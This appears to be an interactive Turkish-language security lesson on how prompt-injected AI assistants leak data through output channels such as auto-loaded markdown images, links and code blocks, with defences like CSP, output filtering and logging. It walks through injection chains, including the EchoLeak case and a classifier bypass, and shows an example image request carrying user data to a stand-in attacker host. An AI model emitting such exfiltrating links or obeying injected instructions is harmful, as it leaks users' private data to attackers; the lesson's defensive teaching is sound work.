Çıktı kanalı üzerinden sızdırma
- Markdown görseli, bağlantı, kod bloğu ve araç çıktısının bir yanıtı nasıl kaçak yoluna çevirdiğini adım adım öğrenirsin.
- Bu derste markdown görselinin, bağlantının ve kod bloğunun nasıl taşıma yoluna dönüştüğünü ve verinin nereye gittiğini göreceksin.
- Sonunda bir yanıtın hangi parçasının dış istek doğurduğunu ayırt eder ve o parçayı kapatan katmanı kurarsın.
Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +60 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.
Saldırganın sorunu şudur: modeli kandırıp gizli bilgiyi söyletse bile, o yanıt kullanıcının ekranında kalır. Bilginin saldırgana ulaşması için bir taşıma yolu gerekir. Çıktı kanalları tam olarak bu yolu verir.
Girdi tarafında enjeksiyon açığı kapatılmış olsa bile, çıktı tarafı açık kaldığında saldırı yarım kalmaktan kurtulur. Bu yüzden savunma yalnız girdiye değil, çıktıya da bakmalıdır. Modelin ne söylediği kadar, söylediği şeyin ne tetiklediği de önemlidir; asıl kaçak çoğu zaman çıktının sessiz yan etkilerinden doğar.
Sızdırma neden çıktıdan başlar
En bilinen yol markdown görselidir. Arayüz yanıtı markdown olarak işler ve görsel etiketini görünce kaynağı otomatik indirir. İndirme bir HTTP isteğidir. İstek saldırganın sunucusuna gider ve adresindeki her şey sunucu kaydına düşer.
Kullanıcı hiçbir şeye tıklamaz; yanıtın ekranda görüntülenmesi tek başına isteği doğurur. Sessiz olması, bu kanalı en tehlikeli çıktı yolu yapar. Kullanıcı yalnız normal bir cevap gördüğünü sanır, oysa o cevabın işlenmesi sırasında verisi çoktan dışarı gitmiştir.
Bu taşıma yolu yeni değildir. Web güvenliğinde uzun süredir bilinen veri sızdırma tekniklerinin bir türevidir. Fark, isteği tetikleyenin artık saldırgan değil, modelin kendisi olmasıdır.
Saldırgan tek bir cümleyi modele yutturur, gerisini arayüzün otomatik davranışı tamamlar. Bu yüzden savunmanın odağı modelin ne söylediği değil, yanıtın hangi eylemi tetikleyebileceğidir. Arayüz, modelin ürettiği etiketi sorgusuz uygular. İki kavramı ayırmak gerekir: modelin ürettiği içerik ile o içeriğin istemcide doğurduğu eylem aynı şey değildir.
Model yaniti:  Arayuz gorseli cekmeye calisir. Sunucu kaydi: GET /p?d=... 200
Kod bloğunu satır satır oku. İlk satır bir markdown görsel etiketidir; köşeli parantez boş, yani görselin bir açıklaması bile yok, tek amacı adresi çektirmek. Adres saldırganın sunucusuna işaret eder ve parametresine kullanıcının verisi gömülüdür.
Arayüz bu etiketi görünce görseli göstermeye çalışır ve adrese bir istek atar. Son satır saldırganın sunucu kaydıdır: istek ulaşmış, durum kodu 200 dönmüş. Bu tek satırlık yanıt, kullanıcı hiçbir şey yapmadan veriyi dışarı taşımıştır.
Bu yol kâğıt üstünde kalmadı. 2023'te bir güvenlik araştırmacısı, yaygın iki sohbet asistanında aynı zinciri gösterdi. Birincisinde talimat herkese açık bir web sayfasına, ikincisinde kurbanla paylaşılan bir belgeye gömülüydü.
Kullanıcı asistandan sayfayı ya da belgeyi incelemesini istedi. Asistan yanıta, adresinde sohbet geçmişini taşıyan bir görsel etiketi koydu ve arayüz o görseli kendiliğinden çekti.
İkinci vakada içerik güvenlik politikası da isteği durdurmadı, çünkü saldırganın betiği asistanı geliştiren şirketin kendi alan adında çalışıyordu. MITRE ATLAS iki olayı AML.CS0021 ve AML.CS0029 kodlarıyla kaydetti ve bu taşıma yolunu AML.T0077, yani LLM yanıtının işlenmesi tekniği olarak adlandırdı. Çıkan ders açıktır: izin listesindeki bir alan adı, herkesin kod çalıştırabildiği bir hizmet barındırıyorsa güvenli sayılmaz.
Etkinlik 1 / 6
Markdown görselini sızdırma açısından tehlikeli yapan davranış nedir?
Derinleş:EchoLeak: sıfır tık gerçek olay
Bu kanal 2025'te üretimde çalışan bir sistemde tam bir saldırıya dönüştü. Araştırmacılar Microsoft 365 Copilot'ta EchoLeak adını verdikleri açığı buldu. Açık CVE-2025-32711 numarasıyla kayıtlı ve Microsoft ona 9,3 puanla kritik önem verdi. Zincir dört halkadan oluşuyordu.
Birinci halka, gelen bir e-postaya gömülü talimatın çapraz enjeksiyon sınıflandırıcısını atlatmasıydı. İkinci halka, adresi filtreden gizleyen başvuru biçimli markdown bağlantısıydı. Üçüncü halka, arayüzün görseli kullanıcı tıklamadan otomatik çekmesiydi.
Dördüncü halka, içerik güvenlik politikasının izin verdiği bir Microsoft Teams adresinin vekil olarak kullanılmasıydı. Sonuç sıfır tık veri sızıntısıydı: kullanıcının e-postayı açması bile gerekmedi. Asistana son e-postalarını özetlemesini söylemesi yetti; asistan zararlı e-postayı kendi bağlamına çekti ve gerisi kendiliğinden yürüdü.
Olayın dersi bu dersin özüyle birebir örtüşür. Otomatik çekilen kaynak, izin verilen alan adı listesinin gevşekliği ve çıktı denetiminin eksikliği bir araya gelince kanal tamamen açılır.
Otomatik ve etkileşimli kanallar
Bağlantı bir adım daha yavaştır ama yine de işe yarar. Model ikna edici bir metinle bağlantı üretir, kullanıcı tıklar, veri adreste taşınır. Otomatik değildir, ama sosyal mühendislikle birleştiğinde yeterince güvenilir çalışır.
Kullanıcıyı tıklamaya ikna eden metin de yine modelin kendi çıktısıdır, bu yüzden saldırgan hem yemi hem oltayı aynı yanıtta kurar. Kullanıcı bağlantının güvenilir bir kaynaktan geldiğini düşünür, çünkü onu asistan sundu; oysa hem adresi hem gerekçeyi saldırgan yazdırmıştır.
Kod bloğu ve araç çıktısı üçüncü yolu açar. Model bir komut ya da betik üretir, kullanıcı kopyalayıp çalıştırır. Ya da bir ajan bu çıktıyı doğrudan başka bir araca verir. İnsan halkası zayıfsa kaçak yine kapanır.
Ajan hatlarında insan hiç devrede olmayabilir, o zaman modelin ürettiği komut hiçbir onaydan geçmeden çalışır. Çıktının eylem gücü tam da burada en yüksektir. Bir asistanın önerdiği komutu düşünmeden çalıştırmak, tam da saldırganın beklediği davranıştır; komut zararsız görünse bile içine gizlenmiş bir parça veriyi dışarı taşıyabilir.
Çıktı kanalını değerlendirirken tek bir soru sor: bu içerik kullanıcının tarayıcısında kendiliğinden bir istek doğuruyor mu. Görsel etiketi doğurur, çünkü tarayıcı adresi hemen çeker.
Bağlantı doğurmaz, çünkü tıklama bekler. Bu ayrım savunmanın sırasını belirler: önce kendiliğinden çalışan kanalları kapat, sonra tıklama gerektirenleri işaretle. Kaynağını otomatik indiren her öğe, sessiz kaçak riskini taşıdığı için listenin en başına yazılır ve en acil kapatılması gereken yol olarak işaretlenir.
İkinci soru verinin nereye gittiğidir. Aynı alan adına giden bir istek çoğu zaman zararsızdır. Dışarıya, özellikle daha önce hiç görülmemiş bir alana giden istek ise incelenmelidir. Bu yüzden çıktıda geçen adresleri bir izin listesine karşı denetlemek, metni temizlemekten daha kesin sonuç verir.
Metin temizliği kalıba bakar, izin listesi ise hedefe bakar; ikincisi atlatılması daha zor bir kontroldür. Saldırgan kelimelerini değiştirebilir, ama verinin gideceği adresi izin listesinin dışına çıkmadan değiştiremez.
Etkinlik 2 / 6
Her çıktı kanalını gerektirdiği kullanıcı etkileşimine göre ayır.
Önce bir seçeneğe, sonra aşağıdaki uygun kutuya bas. İstersen seçeneği kutuya sürükleyip bırak. Yerini değiştirmek için aynı işlemi tekrarla.
0/5 seçenek yerleşti.
Kodlama gizler, korumaz
Veriyi taşımak için düz metin şart değil. Saldırgan gizli bilgiyi kodlayarak adrese gömer. Base64, onaltılık ya da URL kodlaması yeterlidir.
Kayda bakan biri anlamsız bir dizi görür, saldırgan ise çözüp okur. Kodlama gizleme verir, ama koruma sağlamaz; adres yine dışarı gider, yalnız içeriği ilk bakışta okunmaz olur. Bir kayıt satırında uzun ve rastgele görünen bir parametre gördüğünde, bunun kodlanmış bir yük olabileceğini hep aklında tut.
Bu yüzden giden isteklerin parametrelerini yüzeydeki hâliyle denetlemek yetmez. Denetimden önce bilinen kodlamaları çöz, sonra bak. Uzun ve rastgele görünen bir parametre, kodlanmış bir yük olabilir.
Kaydı çözülmüş biçimiyle tutarsan hem tespit kolaylaşır hem de bir olay sonrası neyin kaçtığı okunur kalır. Yalnız ham diziyi saklarsan, aylar sonra o satıra bakan bir analist onun ne taşıdığını çözemez ve olayın boyutu karanlıkta kalır.
Bir noktayı aklında tut: kodlamayı çözmek saldırıyı durdurmaz, yalnız görünür kılar. Asıl engel yine dış istek kısıtı ve çıktı süzmedir; çözme işiyle bu engellerin ne yakaladığını okursun. İki yaklaşımı birlikte kullan.
Giden bir adres izin listesinin dışına çıkıyorsa, parametresinin okunur ya da kodlu olması fark etmez, isteği engellersin. Çözme ise sana o engellenen isteğin ne taşımaya çalıştığını gösterir ve saldırganın hedefini anlamana yarar. Biri kapıyı tutar, diğeri kapıya dayanan şeyin ne olduğunu söyler.
Etkinlik 3 / 6
Adres parametresine gömülmüş bu değeri çöz ve neyin kaçırıldığını bul.
Araçları sırayla dene. Yanlış araç bozuk çıktı verir.
Dış istek kısıtı: CSP
Savunmanın en güçlü hamlesi dış istek kısıtıdır. Yanıtın işlendiği arayüzde dış kaynak yüklemesini kapat.
İçerik güvenlik politikası, yani CSP, ile görselleri yalnız kendi alan adından kabul et. Böylece saldırganın adresi hiç çağrılmaz. Bu başlık modelin davranışını değiştirmez, ama modelin ürettiği zararlı satırı işe yaramaz hâle getirir. En düşük maliyetli ve en kesin tek hamle budur; modelin ikna edilip edilmemesinden bağımsız çalışır.
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Security-Policy: default-src 'self'; img-src 'self'; connect-src 'self' [tarayici konsolu] Refused to load the image 'https://saldirgan.example/p?d=...' because it violates the following Content Security Policy directive: "img-src 'self'".
Başlığı parça parça oku. default-src 'self', ayrıca yazılmayan bütün kaynak türleri için varsayılanı kendi alan adına çeker; stil dosyası, yazı tipi ve betik bu kurala düşer. img-src 'self' görsel kaynağını açıkça kendi alan adına bağlar. connect-src 'self' ise sayfadaki betiklerin arka planda attığı istekleri aynı sınıra sokar.
Alttaki satır tarayıcı konsoluna düşen kayıttır: saldırganın adresi engellenmiş, veri sayfadan çıkmamıştır. Bu engellemeleri sunucuda da görmek istersen politikaya report-to yönergesini ekler, rapor adresini Reporting-Endpoints başlığıyla tanımlarsın. Böylece engellenen her deneme bir uyarıya dönüşür ve hangi oturumda enjeksiyon denendiğini öğrenirsin.
Bu kural yalnız görsel etiketine bağlı kalmamalı. Stil dosyası, yazı tipi ya da izleme pikseli gibi arka planda otomatik yüklenen her kaynak aynı riski taşır. İçerik güvenlik politikasını kurarken bu kaynak türlerinin hepsini kapsayacak şekilde genişlet, yalnız görsel etiketini değil.
İzin verilen alan adı listesini de dar tut; EchoLeak olayında zincirin son halkası, geniş tutulmuş bir izin listesiydi. İzin listesine eklenen her alan adı, saldırgana yeni bir çıkış kapısı açma ihtimali taşır.
Etkinlik 4 / 6
Doğru mu, yanlış mı?
Görsel kaynağını CSP ile kendi alan adına sınırlamak markdown görseliyle yapılan sessiz kaçışı keser, ama tıklanan bağlantı ve kopyalanıp çalıştırılan komut gibi kanallar açık kalır.
Çıktı süzme, kayıt ve sunucu tarafı
İkinci hamle çıktı süzmedir. Yanıtı kullanıcıya vermeden önce tara: dış adres var mı, kodlanmış uzun parametre var mı, beklenmedik bir alan adı var mı. Şüpheli olanı bağlantı olmaktan çıkar ve düz metne dönüştür. Böylece görsel etiketi görsel olarak işlenmez, yalnız zararsız bir yazı olarak kalır.
Süzme, CSP aşılsa bile ikinci bir duvar kurar. İki katman üst üste durduğunda, birinin küçük bir açığı diğerinin kapattığı yerde saldırıyı durdurur.
Üçüncü hamle kayıt tutmadır. Modelin ürettiği dış adresleri ayrı bir akışa yaz. Aynı alan adı farklı oturumlarda tekrar ediyorsa bu bir örüntüdür.
Tek olayı kaçırsan bile örüntüyü yakalarsın. Kayıt, saldırıyı anında durdurmaz ama zamanla saldırganın altyapısını görünür kılar ve bir sonraki denemeyi önceden engellemeni kolaylaştırır. Bir alan adı kayıtlarında birden çok kez belirdiğinde, onu izin listesinden çıkarıp geçmiş oturumları geriye dönük tarayabilirsin.
Üç çıktı hamlesini birlikte düşün. Dış istek kısıtı sessiz kanalı kapatır, çıktı süzme kalan şüpheli satırları etkisizleştirir, kayıt ise kaçırdıklarını zamanla görünür kılar. Hiçbiri tek başına kusursuz değildir, ama üçü üst üste bindiğinde saldırganın işi ciddi biçimde zorlaşır.
EchoLeak gibi gerçek olaylar tam da bu katmanların eksikliğinden doğdu: otomatik çekilen kaynak kapatılmamış, giden adres denetlenmemiş, izin listesi gevşek bırakılmıştı. Katmanları birlikte kurarsan, bir halkanın zayıflığı ötekilerin gücüyle örtülür ve tek bir açık saldırıyı tamamlamaya yetmez.
Etkinlik 5 / 6
Model yanıtlarından dış alan adına giden istek üreten satırları yakalayan deseni seç: dış alan adı içeren görsel ve bağlantı satırları eşleşmeli.
Yazdıkça eşleşen satırlar işaretlenir. Hedef: yalnız doğru satırlar eşleşsin.
Şimdi bunu sunucu tarafında nasıl kapatacağına bak. Yanıtı üreten uç nokta, tarayıcıya hangi kaynaklardan görsel çekebileceğini söyleyen bir başlık ekleyebilir. Bu başlık istemcide çalışır ve modelden bağımsızdır. Model ne üretirse üretsin, tarayıcı yalnız izin verilen alan adından kaynak çeker.
Zararlı satır yanıtta kalsa bile hiçbir istek doğurmaz. Başlığın güzel yanı, tek bir yerde tanımlanıp bütün yanıtları kapsamasıdır; her yeni özellik için ayrı ayrı savunma yazmana gerek kalmaz. Aşağıdaki alıştırmada bu başlığı isteğe kendin eklersin ve sonucun nasıl değiştiğini görürsün.
Etkinlik 6 / 6
Aşağıdaki isteği, dış görsel yüklemesini engelleyecek politika başlığını ekleyerek tamamla.
İsteği tamamla ve gönder.
Okumayı istediğin sırayla sürdürebilirsin. Ders, bütün etkinlikleri cevapladığında tamamlanır.